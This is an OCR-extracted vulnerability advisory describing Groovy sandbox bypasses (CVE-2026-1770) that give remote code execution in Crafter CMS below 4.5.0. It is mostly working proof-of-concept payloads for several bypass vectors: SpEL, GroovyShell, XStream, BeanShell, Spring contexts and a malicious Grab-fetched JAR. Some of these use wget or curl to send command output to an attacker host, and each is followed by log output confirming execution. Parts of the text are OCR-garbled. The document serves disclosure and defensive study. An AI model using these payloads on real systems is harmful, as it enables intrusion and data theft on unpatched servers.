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PTT-2025-022 - Groovy Sandbox
Bypass

CVE-ID: CVE-2026-1770
Credits:

Found Bypasses:

1. Groovy AST Transformation - Found by Matei “Mal” Badanoiu @Pentest-Tools.com
2. Spring's “SpelExpressionParser” - Found by Mihai Pasca @Pentest-Tools.com

3. Groovy's “GroovyShell” - Found by Mihai Pasca @Pentest-Tools.com

4. Spring's “"ApplicationContext” - Found by Cosmin Petrescu @Pentest-Tools.com
and Matei "Mal" Badanoiu @Pentest-Tools.com

5. Groovy Template Engines - Found by Cosmin Petrescu @Pentest-Tools.com
6. XStream - Found by David Bors @Pentest-Tools.com

7. BeanShell - Found by Mihai Pasca @Pentest-Tools.com and David Bors
@Pentest-Tools.com

8. Groovy “ConfigSlurper” - Found by Mihai "hust” Radu @Pentest-Tools.com

9. Commons Exec - Found by Razvan "bobim6” lonescu @Pentest-Tools.com and
Matei “Mal” Badanoiu @Pentest-Tools.com

10. Jakarta EL - Found by Mihai Pasca @Pentest-Tools.com and David Bors
@Pentest-Tools.com

11. Object Factories - Found by Matei “Mal"” Badanoiu @Pentest-Tools.com

12. Tomcat Instance Manager + Method Closure - Found by Matei “Mal” Badanoiu
@Pentest-Tools.com

13. Beans XMLDecoder - Found by Matei “Mal” Badanoiu @Pentest-Tools.com

14. MBeans - Found by David Bors @Pentest-Tools.com and Matei “Mal” Badanoiu
@Pentest-Tools.com
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Environment:
e Crafter CMS <4.5.0

CVSSv3: 7.2 High - AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Description:

By inserting malicious Groovy elements, an attacker may bypass sandbox restrictions
and obtain RCE (Remote Code Execution).

Note: This finding bypasses the protections added to the Groovy Sandbox after
addressing the vulnerabilities:

e CV-2025061901 (CVE-2025-6384)
e CV-2022091302 (CVE-2022-40635)
e CV-2021120102 (CVE-2021-23259)

Requirements:

In order to perform this exploit an attacker would require valid user credentials in order
to access the Crafter CMS web application as a user with developer privileges.

Fix:
The vendor patched the vulnerability and the advisory can be found here:
https://craftercms.com/docs/current/security/advisory.html#cv-2026020201


https://craftercms.com/docs/current/security/advisory.html#cv-2026020201
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Proof of Concept:

We tested the following vectors and confirmed they successfully bypass the Groovy
Sandbox restrictions resulting in the execution of arbitrary system commands:

1. Groovy AST Transformation':

By leveraging the Groovy Metaprogramming features, attackers may leverage
AST transformations in order to specify custom malicious locations (e.g. remote
http servers) that will be used by Groovy when importing classes.

In order to perform the exploit we will first insert the following payload into a
Groovy Script used by the current Crafter CMS web project (e.qg.
“latest-articles.groovy”):

@CGrabConfig(disableChecksums=true)
@GrabResolver(name="'mal’, root="http://172.17.0.1:8000/")
©@Grab(group="rce', module="mal’, version="'13")

import Payload;

Browser View:

latest-articles.groovy

. /%
* Copyright (C) 2007-2022 Crafter Software Corporation. All Rights Reserved.
*

* This program is free software: you can redistribute it and/or modify

* it under the terms of the GNU General Public License version 3 as published by
* the Free Software Foundation

*

* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.

*

* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>
*/

@GrabConfig(disableChecksums=true)
@GrabResolver(name='mal', root='http://172.17.0.1:8000/")
@Grab(group="rce', module='mal', version='13"

import Payload;

import org.craftercms.sites.editorial.SearchHelper
import org.craftercms.sites.editorial.ProfileUtils

def segment = null

- if (authToken) {
segment = ProfileUtils.getSegment(authToken.principal, siteItemService)

Insert Code v Cancel Save & Close -

! https://2019.pass-the-salt.org/files/slides/12-Hacking_Jenkins.pdf
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In order to successfully perform the exploit we will need to create a valid
malicious JAR file that will be imported by the target. We performed the following
steps:

e Create the "Mal.java” file containing the following Java code:

public class Mal {
public Mal() {
try {
String payload = "wget 172.17.0.1:8000/?mal=$(id | base64 -w0)";
String[] cmds = {"/bin/bash", "-c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }

e Run the following Linux commands on the attacker machine in order to
compile and host the malicious JAR:

javac Mal.java

mkdir -p META-INF/services/

echo Mal > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf mal-13.jar *

mkdir -p rce/mal/13/

mv mal-13.jar rce/mal/13/

With the JAR file created we will need to serve it to the target via a HTTP server
(e.g. Python HTTP Server).
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With all the above steps in place, we will trigger the exploit by refreshing the
Crafter CMS page that loads and executes our Groovy Script.

B $ cat Mal.java
public class Mal {
public Mal() {
try {
String payload = "wget 172.17.0.1:8000/?mal=$(id | base64 -w0)";
String[] cmds = {"/bin/bash", "-c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
X
1
3 $ javac Mal.java
mkdir -p META-INF/services/
echo Mal > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf mal-13.jar *
mkdir -p rce/mal/13/
mv mal-13.jar rce/mal/13/
added manifest
adding: Mal.class(in = 530) (ou 394)(deflated 25%)
adding: Mal.java(in = 239) (out= 188)(deflated 21%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/org.codehaus.groovy.plugins.Runners(in = 4) (out= 6)(deflated -50%)
adding: rce/(in = 0) (out= ©)(stored 0%)
adding: rce/mal/(in = 0) (out= 0)(stored 0%)
adding: rce/mal/13/(in = 0) (out= 0)(stored 0%)
adding: rce/mal/13/mal-13.jar(in = 1701) (out= )(deflated 40%)
= $
3 $ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.20.0.4 - - [16/Aug/2025 16:16:15] code 404, message File not found
172.20.0.4 - - [16/Aug/2025 1 "HEAD /rce/mal/13/mal-13.pom HTTP/1.1" 404 -
172.20.0.4 - - [16/Aua/2025 1 "HEAD /rce/mal/13/mal-13.jar HTTP/1.1" 200 -
172.20.0.4 - - [16/Aug/2025 1 "GET /rce/mal/13/mal-13.jar HTTP/1.1" 200 -
20.0.

172. - [16/Aug/2025 16:16: MR EIE O 1 L kP TEWMDAOY 3JhZnR 1cikgZ21kPTEWMDAOY3JhZnR1cikgZ3IvdXBzPTEWMDAOY3IhZnR1c i kKRS RN AW RrLcl]
ul

o
ol guest@tester: ~/Desktop/CrafterCMS/AST_Exploit G = - o X
$ base64 -d <<< dWLkPTEWMDAOY3JhZnR

1cikgZ21kPTEWMDA0Y3JhZnR1cikgZ3IvdXBzP TEWMDAoY3JIhZnR1cikK
uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)

We can observe that a few requests were made to our server:

e First request looks for a non existing file “mal-13.pom”

e The second and third requests check the existence and retrieve the
content of the “mal-13.jar" file

e The fourth request was made as a result of the arbitrary “wget” system
command, requested by the attacker, containing the base64 encoded
output of the Linux “id" command.

If we look over the server logs we can also observe that an error is returned by
our malicious code (although the Crafter CMS application handles the exception
gracefully and the availability is not affected):

at org.apache.toncat.util.threads.TaskThreadSWrappingRunnable.run(TaskThread. java:59)
at java.base/java.lang.Thread.run(Thread.java:1583)
Caused by: org.codehaus.groovy.runtime.typehandling.GroovyCastException: Cannot cast object 'Mal@42916969' with class 'Mal' to class 'org.apache.groovy.plugi
n.GroovyRunner'
org.codehaus.groovy.runtime.typehandling.DefaultTypeTransformation.continueCastOnSAM(DefaultTypeTransformation.java:415)
org.codehaus.groovy.runtime. typehandling.DefaultTypeTransformation.continueCastOnNumber(DefaultTypeTransformation.java:326)
org.codehaus.groovy.runtime.typehandling.DefaultTypeTransformation.castToType(DefaultTypeTransformation.java:244)

org.codehaus.groovy.vmplugin.v8.IndyInterface.selectMethod(IndyInterface.java:355)
org.codehaus.groovy.vmplugin.v8. IndyInterface.fromCache(IndyInterface.java:321)
groovy.grape.Grapelvy$_processRunners_closure6.doCall(Grapelvy.groovy:412)

. 314 more

1 error
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Spring's “SpelExpressionParser":

By leveraging access to the
"org.springframework.expression.spel.standard.SpelExpressionParser” class, an
attacker may create a new object of type “SpelExpressionParser” that will try to
parse a given string as a Spring expression.

In order to perform the exploit we will insert the following payload into a Groovy
Script used by the current Crafter CMS web project:

def parser = new org.springframework.expression.spel.standard.SpelExpressionParser()

def expr = parser.parseExpression('"
new java.io.BufferedReader(
new java.io.InputStreamReader(
T(java.lang.Runtime).getRuntime().exec("id").getInputStream()
)
).readLine()
III)
output = expr.getValue()
println "SpEL RCE: " + output

Browser View:

latest-articles.groovy

- /*
* Copyright (C) 2007-2022 Crafter Software Corporation. ALl Rights Reserved.
*

* This program is free software: you can redistribute it and/or modify

* it under the terms of the GNU General Public License version 3 as published by
* the Free Software Foundation.

*

* This program is distributed in the hope that it will be useful,

* but WITHOUT ANY WARRANTY; without even the implied warranty of

* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

* GNU General Public License for more details.

*

* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

def parser = new org.springframework.expression.spel.standard.SpelExpressionParser()

-|def expr = parser.parseExpression('"'’
new java.io.BufferedReader(
new java.io.InputStreamReader(
T(java.lang.Runtime).getRuntime().exec("id").getInputStream()

)
).readLine()

output = expr.getValue()
println "SpEL RCE: " + output

import org.craftercms.sites.editorial.SearchHelper
import org.craftercms.sites.editorial.ProfileUtils

Anf raamant

Insert Code v
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Once the changes are saved we can observe the result of the RCE in the output
of the CrafterCMS server logs (in this case the running docker logs):

[INFO] 2025-08-15T16:27:46,125 [pool-30-thread-1] [] [context.SiteContextFactory] | .- ---

[INFO] 2025-08-15T16:27:46,126 [pool-30-thread-1] [] [context.SiteContextManager] | Site context creat 'SiteContext{si "test', context=FileSystemCon
text{id="'d35d4b6645ebdddcb287e2ac1b50257f"', rootFolderPath="'file: /opt/(rafter/data/repos/51tes/test/sandbo&/ , fallback=false, staticAssetsPath='/static-assets', template
sPath="/templates', restScriptsPath='/scripts/rest"', controllerScriptsPath="/scripts/controllers

[INFO] 2025-08- 3 6,126 [pool-35-thread-1] [test] [context.SiteContext] |

[INFO] 2025-08- 6,126 [pool-35-thread-1] [test] [context.SiteContext] |

[INFO] 2025-08- 6,126 [pool-35-thread-1] [test] [context.SlteContext] |

[INFO] 2025-08- 6,126 [pool-35-thread-1] [test] [context. e

[INFO] 2025-08- 6,273 [pool-35-thread-1] [test] [graphql.GraphQLFactory] | No custom GraphQL schema found for site 'test’

[INFO] 2025-08- 6,276 [pool-35-thread-1] [test] [graphql.GraphQLFactory] | Updating GraphQL schema with custom fields, fetchers & resolvers

[INFO] 2025-08- 6,299 [pool-35-thread-1] [test] [context.SiteContext] | GraphQL schema build completed for "test' in 0 secs

[INFO] 2025-08- 6,300 [pool-35-thread-1] [test] [context.SiteContext] | -- -- ---

[INFO] 20625-08- 6,300 [pool-35-thread-1] [test] [context.SiteContext] | </Initializing site context:

[INFO] 2025-08- :27:46,300 [pool-35-thread-11 [test] [context.SiteContext]

SpEL RCE: uid= 1000((rafter) gid=1000(crafter) groups=1000(crafter)

[INFO] 2025-08-15T16:27:46,802 [pool-30-thread-1] [] [context.SiteContextManager] |

[INFO] 2025-08-15T1 6,802 [pool-30-thread-1] [] [context.SiteContextManager]

[INFO] 2025-08-15T16:27:46,802 [pool-30-thread-1] [] [context.SiteContextManager]

3. Groovy's “GroovyShell":

By leveraging access to the
"org.springframework.expression.spel.standard.SpelExpressionParser” class, an
attacker may create a new object of type “SpelExpressionParser” that will try to
parse a given string as a Spring expression.

In order to perform the exploit we will insert the following payload into a Groovy
Script used by the current Crafter CMS web project:

def shell = new GroovyShell()
def script = """
printin "GroovyShell RCE: " + "id".execute().text

nnn

shell.evaluate(script)
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Browser View:

latest-articles.groovy

Copyright (C) 2007-2022 Crafter Software Corporation. All Rights Reserved.

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License version 3 as published by
the Free Software Foundation

This program is distributed in the hope that it will be useful
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>

def shell = new GroovyShell()
def script = """
println "GroovyShell RCE: " + "id".execute().text

shell.evaluate(script)

import org.craftercms.sites.editorial.SearchHelper
import org.craftercms.sites.editorial.ProfileUtils

def segment = null

30~ if (authToken) {
21

canmant — Prafilalltile natSanmant(authTakan nrincinal citaTtamSarviral

Insert Code v Cancel Save & Close -

Once the changes are saved we can observe the result of the RCE in the output
of the CrafterCMS server logs (in this case the running docker logs):

[INFO] 8-15T16:29:49,571 [pool-30-thread-1] [] [context.SiteContextFactory] -- ...

[INFO] 2 8-15T16:29:49,577 [pool-30-thread-1] [] [context.SiteContextManager] | Site context created: 'SiteContext{siteName='test', context=FileSystemCon
text{id="'f62e782b73a851f72a0930305d0791b5", rootFolderPath="'file:/opt/crafter/data/repos/sites/test/sandbox/'}, fallbac alse, stati setsPath="/static-a ts', template
sPath="/templates', re criptsPath="/scripts/rest', controllerScriptsPat scripts/controllers'}

[INFO] -08-15T16:29:49,578 [pool-36-thread-1] [context.SiteContext]

[INFO] :29:49,580 [pool-36-thread-1] [context.SiteContext]

[INFO] £ :129:49,581 [pool-36-thread-1] [tes [context.SiteContext]

[INFO] 49,581 [pool-36-thread-1] [tes [context.SiteContext] | Starting GraphQL schema build for site

[INFO] [pool-36-thread-1] [tes [graphql.GraphQLFactory] | No custom GraphQL schema found for

[INFO] 0 :29:49 [pool-36-thread-1] [test] [graphql.GraphQLFactory] | Updating GraphQL Wit i fetchers & resolvers

[INFO] 8-15T16: [pool-36-thread-1] [t [context.SiteContext] | GraphQL schema build t ite 'test’ in @ secs

[INFO] 8-15T16: [pool-36-thread-1] [test] [context.SiteContext] | o= ==
[pool-36-thread-1] S (t.SiteContext] | </Initializing site

[INFO]
[INFO] 202 2 775 [pool-36-thread-1] s [context.SiteContext]
GroovyShell RCE: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
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4. Spring's "ApplicationContext":

a. Spring's "GenericApplicationContext":

By using the Spring's
"org.springframework.context.support.GenericApplicationContext” to
dynamically register a bean we can specify the class
“java.lang.ProcessBuilder”, the command to execute, and finally trigger the
RCE via the init method “start”. When the context is refreshed, Spring
instantiates the bean, which immediately executes the command.

In order to perform the exploit the following payload was used:

}H

import org.springframework.context.support.GenericApplicationContext
import org.springframework.beans.factory.support.RootBeanDefinition

def ctx = new GenericApplicationContext()

ctx.beanFactory.registerBeanDefinition("sanki", new
RootBeanDefinition(Class.forName('java.lang.ProcessBuilder')).tap {
it.constructorArgumentValues.addIindexedArgumentValue(0, ['bash’, '-c', 'curl
172.17.0.1:4444/?$(whoami)'])
it.initMethodName = 'start'

ctx.refresh()

Browser View:

latest-articles.groovy - 7 X
1 import org.springframework.context.support.GenericApplicationContext
2 import org.springframework.beans.factory.support.RootBeanDefinition
3
4 def ctx = new GenericApplicationContext()
5
6+ ctx.beanFactory.registerBeanDefinition("sanki", new RootBeanDefinition(Class.forName('java.lang.ProcessBuilder')).tap {
7 it.constructorArgumentValues.addIndexedArgumentValue(®, ['bash', '-c', 'curl 172.17.0.1:4444/?%(whoami)'])
8 it.initMethodName = 'start’
9 b
10
11 ctx.refresh()|
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With the script saved, once we refresh any page that loads the script we can

observe that the malicious “curl” command is executed exfiltrating the result

of the “whoami” Linux command:
: $ nc -nlvp 4444

Listening on 0.0.0.0 4444

Connection received on 172.20.0.4 36010

GET |/?crafter |HTTP/1.1

Host: 172.17.0.1:4444

User-Agent: curl/8.12.1
Accept: */*

b. Spring's “ClassPathXmlApplicationContext"?:

By leveraging access to the
"org.springframework.context.support.ClassPathXmlApplicationContext"”
class, an attacker may create a new object of type
“ClassPathXmlApplicationContext” that will try to lookup and load a Spring
configuration XML file.

In order to perform the exploit we will first insert the following payload into a
Groovy Script used by the current Crafter CMS web project (e.g.
“latest-articles.groovy"):

X = new
org.springframework.context.support.ClassPathXmlApplicationContext("http://172.17.0.1:8
000/mal.xml")

Note: There are multiple ways to call the “ClassPathXmlApplicationContext”
constructors, but in this example we have chosen to use the
“ClassPathXmlApplicationContext(String configLocation)” constructor,
pointing the “configLocation” argument to a remote HTTP server that we
control.

2 https://github.com/X1r0z/ActiveMQ-RCE

10
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Browser View:

17 import org.craftercms.sites.editorial.SearchHelper
18 import org.craftercms.sites.editorial.ProfileUtils

20 def segment = null

22~ 1if (authTeoken) {
23 segment - ProfileUtils.getSegment(authToken.principal, siteItemService)

27 |System.err.println "Mal Hexor:"
28 |x = new org.springframework.context.support.ClassPathXmlApplicationContext("http://172.17.0.1:8000/mal . xml")

31 def searchHelper = new SearchHelper(searchClient, urlTransfomatlnnServlce)
32 def articles = searchHelper.searchArticles(false, null, segment, @, 3)

SDRVAFIS E R
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In order to successfully perform the exploit we will need to create a valid
malicious Spring XML that will result in the execution of arbitrary system
commands when the application loads it:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmins:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xsi:schemalLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>curl "172.17.0.1:8000/?$(id | base64 -w0)" </value>
</list>
</constructor-arg>
</bean>
</beans>

With the XML file written we will need to serve it to the target viaa HTTP
server (e.g. Python HTTP Server).

With all the above steps in place, we will trigger the exploit by refreshing the
Crafter CMS page that loads and executes our Groovy Script.

$ base64 -d <<< dWlkPTEwMDAoY3JhZnR1 $ pythc % -m http.server
U(q7LUPTEH[)on JhZnR1lcikgZ3IvdXBzPTEWMDACY3JhZnR1cikK 3
uid=1000(c raftnr) gid=16008(crafter) groups=10e0(crafter)

s -
1kgZ21kPTEwWMDACY3]

We can observe that two requests were made to our malicious XML file
“mal.xml” and then a third request was made as a result of the arbitrary "curl"
system command, requested by the attacker, containing the base64 encoded
output of the Linux “id" command.

11
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5. Groovy Template Engines®:

By leveraging access to the Groovy Templating Engine functionalities multiple
template engines could be used to bypass the sandbox restrictions and obtain
RCE.

Example of Groovy Template Engines that can be leveraged for RCE:

groovy.text.SimpleTemplateEngine
groovy.text.StreamingTemplateEngine
groovy.text.GStringTemplateEngine
groovy.text.XmlTemplateEngine
groovy.text.MarkupTemplateEngine

In order to perform the exploit the following payload was used:

import groovy.text.SimpleTemplateEngine
def templateText = 'Template RCE: <%= "id".execute().text %>'

def engine = hew SimpleTemplateEngine()
def template = engine.createTemplate(templateText)

printin template.make().toString()

Browser View:

latest-articles.groovy - /7 X
1 import groovy.text.SimpleTemplateEngine
def templateText = 'Template RCE: <%= "id".execute().text %>'

def engine = new SimpleTemplateEngine()
def template = engine.createTemplate(templateText)

PNV B WN

println template.make().toString()

Once the changes are saved we can observe the result of the RCE in the output
of the CrafterCMS server logs (in this case the running docker logs):

[INFO] 2625-08-18T07:54:15,945 [pool-33-thread-1] [test] [context.SiteContext] | Starting GraphQL schema build for site 'test
- 1€ ,944 [pool-30-thread-1] [] [context ContextManager] | e context created: 'SiteContext{ "test', context=FileSystemCon
text{id:'ba}47e7530 g o ootFolderPath="file: /opt/(rafter/data/repo /sit box/'}, fallback=false, st ath='/static-assets', template
sPath="/templates’ sPat st', controllerScriptsPath="'/scripts/controller
[INFO] 2 -18 p ol 33-thread-1] [test] [graphql.GraphQLFac forl]
[INFO] 7025 08-18T07 [po thread-1] [test] [graphql.
[INFO] 2025 -18 E ,208 [pool-33-thread-1] [test] [context. Sltefontext] \ GraphQ
- ,209 [pool-33-thread-1] [tes t] eContext] | ---
-18T07:54:16,209 [pool-33-thread-1] contex
[INFO] 2625-08-18T07:54:16,209 [pool-33-thread-1] Ite t] _[contex
Template RCE: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)

[
[
[
[

[
[
[
[

3 https://groovy-lang.org/templating.html

12
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6. XStream:

By leveraging the “XStream” class an attacker is able to construct arbitrary Java
objects and call arbitrary Java functions via XML strings bypassing the Groovy
Sandbox.

In order to perform the exploit the following payload was used:

def xstream = new com.thoughtworks.xstream.XStream()
try {
xstream.addPermission(com.thoughtworks.xstream.security.AnyTypePermission.ANY)
def xml = ""
<java.lang.ProcessBuilder>
<command>
<string>id</string>
</command>
</java.lang.ProcessBuilder>
def obj = xstream.fromXML (xml)
def result = obj.start()
def reader = new BufferedReader(new InputStreamReader(result.getinputStream()))
def line
while ((line = reader.readLine()) != null) {
println "XStream Exploit: " + line
}
} catch (Exception e) {
e.printStackTrace()
}

Browser View:

latest-articles.groovy - /7 X

1 def xstream = new com.thoughtworks.xstream.XStream()
2-try {

3 xstream.addPermission(com.thoughtworks.xstream.security.AnyTypePermission.ANY)
4 def xml = """

5 <java.lang.ProcessBuilder>

6 <command>

7 <string>id</string>

8 </command>

9 </java.lang.ProcessBuilder>

10 e

11 def obj = xstream.fromXML (xml)

12 def result = obj.start()

13 def reader = new BufferedReader(new InputStreamReader(result.getInputStream()))
14 def line

1554 while ((line = reader.readlLine()) != null) {

16 println "XStream Exploit: " + line

17 }

18- } catch (Exception e) {

19 e.printStackTrace()

20 }

13
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Once the changes are saved we can observe the result of the RCE in the output
of the CrafterCMS server logs (in this case the running docker logs):

[INFO] 2025-08-22T16:10:33,632 [pool-30-thread-1] [] [context.SiteContextManager] | Site context ted: t ) me=" FileSystemCon
text{id:'234Sb981d86a046fd2 5409r be8b', rootFolderPath='file:/opt/crafter/data/repos/sites/test/sandbox, 5 t ', template
sPath="/templates', restScriptsPath 1pf</re~f' controllerScript ripts/controllers'}’

[INFO] 2025-08-22T16:10:33,632 [pool-35-thread-1] [te context.SiteContext] |

[INFO] 2025-08-22T16:10 [pool-35-thread-1] [test] [c xt.SiteContext] |

[INFO] 2025-08-22T16:10 6 [pool-35-thread-1] [test] xt.SiteContext]

[INFO] 2025-08- 110 5 [pool-35-thread-1] [test] 1 t

[INFO] 2025-08- 110: 8 [pool-35-thread-1] s raphQLFactory] | No custom GraphQL schema found for 51te tes(

[INFO] 2025-08- 110 ,8 [pool-35-thread-1] [t r phQLFactory] | Updating GraphQL schema with n field

[INFO] 2025-08- :10: 8 [pool-35-thread-1] [t text. eContext] | urathL hema build completed for site

[INFO] 2025-08- :10: 8 [pool-35-thread-1] t

[INFO] 2025-08-2 :10 328 [pool-35-thread-1] [t text.SiteContext] |

LINFO] 2025-08-22T16:10 Lpool-35-thread-1] [test] «t_SiteContext] | --

XStream Exploit: uid=1000(crafter) gid=1000(crafter) grou 000(crafter)

[INFUT 202Z5-0 TI0T34,649 [pooL-30-thread-1] [1 [context.Sitetontextranager]

[INFO] 2025-08-22T16:10:34,649 [pool-30-thread-1] [] [context.SiteContextManager]

[INFO] 2025-08-22T16:10:34,649 [pool-30-thread-1] [] [context.SiteContextManager]

7. BeanShell:

By leveraging access to the BeanShell scripting component, an attacker may
create a new “Interceptor” that will try to parse a given string as a Bean Script.

In order to perform the exploit we will insert the following payload into a Groovy
Script used by the current Crafter CMS web project:

def bsh = new bsh.Interpreter()

def proc = bsh.eval('Runtime.getRuntime().exec("id")")
def output = proc.getinputStream().getText()
printin "BeanShell RCE: " + output

Browser View:

latest-articles.groovy - /7 X
i / *
2 * Copyright (C) 2007-2022 Crafter Software Corporation. All Rights Reserved.
3 *
4 * This program is free software: you can redistribute it and/or modify
5 * it under the terms of the GNU General Public License version 3 as published by
6 * the Free Software Foundation.
7+
8 * This program is distributed in the hope that it will be useful
9 * but WITHOUT ANY WARRANTY; without even the implied warranty of
10  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
il * GNU General Public License for more details.
12 *
13 * You should have received a copy of the GNU General Public License
14 * along with this program. If not, see <http://www.gnu.org/licenses/>
15 */
16
17 def bsh = new bsh.Interpreter()
18

19 def proc = bsh.eval('Runtime.getRuntime().exec("id")")
20 def output = proc.getInputStream().getText()
21 println "BeanShell RCE: " + output
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Once the changes are saved we can observe the result of the RCE in the output
of the CrafterCMS server logs (in this case the running docker logs):

[INFO] 2025-08-15T16:31:50,178 [pool-30-thread-1] [] [context.SiteContextManager] | Site context created: 'SiteContext{siteName='test', context=FileSystemCon
text{id="'8d579f44899f7a6affee92a64dc507ee', rootFolderPath="file:/opt/crafter/data/repos/sites/test/sandbox/'}, fallback=false, staticAssetsPath='/static-assets', template
sPath='/templates', restScriptsPat! scripts/rest', controllerScriptsPath="/scripts/controllers"}

[INFO] 2025-08- ,179 [pool-37-thread-1] [test] [context.SiteContext] |

INFO] 2025-08- 9 [pool-37-thread-1] [test] [context.SiteContext] | Starting GraphQL schema build for site 'test'

INFO] 2025-08- [pool-37-thread-1] [test] [graphql.GraphQLFactory] | No custom GraphQL schema found for site 'test'’

INFO] 2625-08- o [pool-37-thread-1] [test] [graphql.GraphQLFactory] | Updating GraphQL schema with custom fields, fetchers & resolvers
INFO] 2025-08- ) [pool-37-thread-1] [test] [context. . ema build completed for site 'test' in 0 secs

INFO] 2025-08- [pool-37-thread-1] [test] [context. C 3 itializi xt: tes
INFO] 2025-08- [pool-37-thread-1] [test] [context.

[

[

[

[

[INFO] 2025-08- 8 [pool-37-thread-1] [test] [context.

[

[

BeanShell RCE: uid= l@@O(Lrafter) gld=1000(crafter) groups=1000(crafter)

Groovy "“ConfigSlurper”:

By leveraging access to the “groovy.util.ConfigSlurper” class, an attacker may
create a new Slurper that will try to parse a given string as a Groovy Script.

In order to perform the exploit we will insert the following payload into a Groovy
Script used by the current Crafter CMS web project:

|new ConfigSlurper().parse("println 'ConfigSlurper: ' + 'id'.execute().text") |

Browser View:

latest-articles.groovy - /7 X

1 hew ConfigSlurper().parse("println 'ConfigSlurper: ' + 'id'.execute().text")
2

Once the changes are saved we can observe the result of the RCE in the output
of the CrafterCMS server logs (in this case the running docker logs):

[INFO] 2025-08-25T09:23:30,056 [pool-30-threa ] [] [context.SiteContextManager] | Site context created: 'SiteContext{siteName='test', context=FileSystemCon
text{id="10ec8c7ab96bf6adffdd9eb389ab3a6a’, rootFolderPath= le:/opt/crafter/data/repos/sites/test/sandbox/'}, fallback=false, staticAssetsPath='/static-assets', template
sPath="/templates', restScriptsPat scripts/rest', controllerScriptsPath='/scripts/controllers'}’

[INFO] 2025-08-25T09 130, [pool-70-thread-1] [test] teContext] |

[INFO] 2025-88-25T09:23: [pool-70-thread-1] [test] .SiteContext] | nitializing site contex

[INFO] 2025-08-25T09:23: [pool-70-thread-1] [test] .SiteContext] | -

[INFO] 2025-08- 9 : [pool-70-thread-1] [test] SiteContext] | Startlng GraphOL ichema bulld for site 'test

[INFO] 2025-08- 9 [pool-70-thread-1] [test] [graphql.GraphQLFactory] | No custom GraphQL schema found for site 'test

[INFO] 2025-08-25T09 [pool-70-thread-1] [test] [graphql.GraphQLFactory] | Updating GraphQL schema with custom fields, fetchers & resolvers

[INFO] 2025-08-2 9 [pool-70-thread-1] [test] [context.SiteContext] | GraphQL schema build completed for site 'test' in 0 secs

[INFO] 2025-08- 9 [pool-70-thread-1] [test] [context.

[INFO] 2025-08- 9 [pool-70-thread-1] [test] [context.SiteContext] | T/Inltldliglﬂg site context

[INFO] 2625-08- A [pool-70-thread-1] [test] [context.SiteContext]

ConfigSlurper: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)

C S ,827 [pool-30-thread- context.SiteContextManager

INFO] 2025 0,827 1-30-th d-1 SiteC M

[INFO] 202! - g 130,829 [pool-30-thread-1] [] [context.SiteContextManager] | Rebuilding site contex
[INFO] 202 :30

[2025-08 [

8
8.
8
N

2
»829 [pool-30-thread-1] [] [context.SiteContextManager] |
F

INFO ]J[o0.0.j.s.JobSweeper ] [d8069ac872b7] Running full sweep
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9. Commons Exec:

Although access is restricted by the sandbox to the dangerous function
“org.apache.commons.exec.DefaultExecutor.execute(org.apache.commons.exec.
CommandLine)?*” the
“launch(org.apache.commons.exec.CommandLine,java.util.Map,java.io.File)*"
function is not restricted.

In order to perform the exploit we will insert the following payload into a Groovy
Script used by the current Crafter CMS web project:

import org.apache.commons.exec.CommandLine;
import org.apache.commons.exec.DefaultExecutor;

X = new CommandLine("id")
y = new DefaultExecutor()

println "CommandLine + launch: " + new String(y.launch(x, null,
null).getinputStream().readAllBytes())

Browser View:

latest-articles.groovy - /7 X

import org.apache.commons.exec.CommandLine;
import org.apache.commons.exec.DefaultExecutor;

1
2
3
4 x = new CommandLine("id")
5 y = new DefaultExecutor()
6
7

println "CommandLine + launch: " + new String(y.launch(x, null, null).getInputStream().readAllBytes())

Once the changes are saved we can observe the result of the RCE in the output
of the CrafterCMS server logs (in this case the running docker logs):

[INFO] 2025-68-23T23:15:05,050 [pool-30-thread-1] [] [context.SiteContextFactory] |

[INFO] 2025-08-23T23:15:05,050 [pool-30-thread-1] [] [context.SiteContextManager] | Site context created: 'SiteContext{siteName='test', context=FileSystemCon
text{id="'5f87ef578991d004dd6528ee3: ', rootFolderPath="'file:/opt/crafter/data/repos/sites/test/sandbox/'}, fallback=false, staticAssetsPath='/static-assets', template
sPath="/templates', restScriptsPath="/scripts/rest", controllerScriptsPath="/scripts/controllers"}

[INFO] 2625-68-23T23:15 , [pool-67-thread-1] [test] [context.SiteContext]

[ 2025-08-23 :15:05, [pool-67-thread-1] [test] [context.SiteContext] | <Initiali g

[INFO] 2025-08- y [pool-67-thread-1] [test] [context.SiteContext] | --

[INFO] 2025-08- , [pool-67-thread-1] [test] [context.SiteContext] | Starting GraphQL schema build for site 'test

[INFO] 2025-08- ,089 [pool-67-thread-1] [test] [graphql.GraphQLFactory] | No custom GraphQL schema found for site 'test

[INFO] 2025-08 5 [pool-67-thread-1] [test] [graphgl.GraphQLFactory] | Updating GraphQL schema with cus fields, fetchers & resolvers

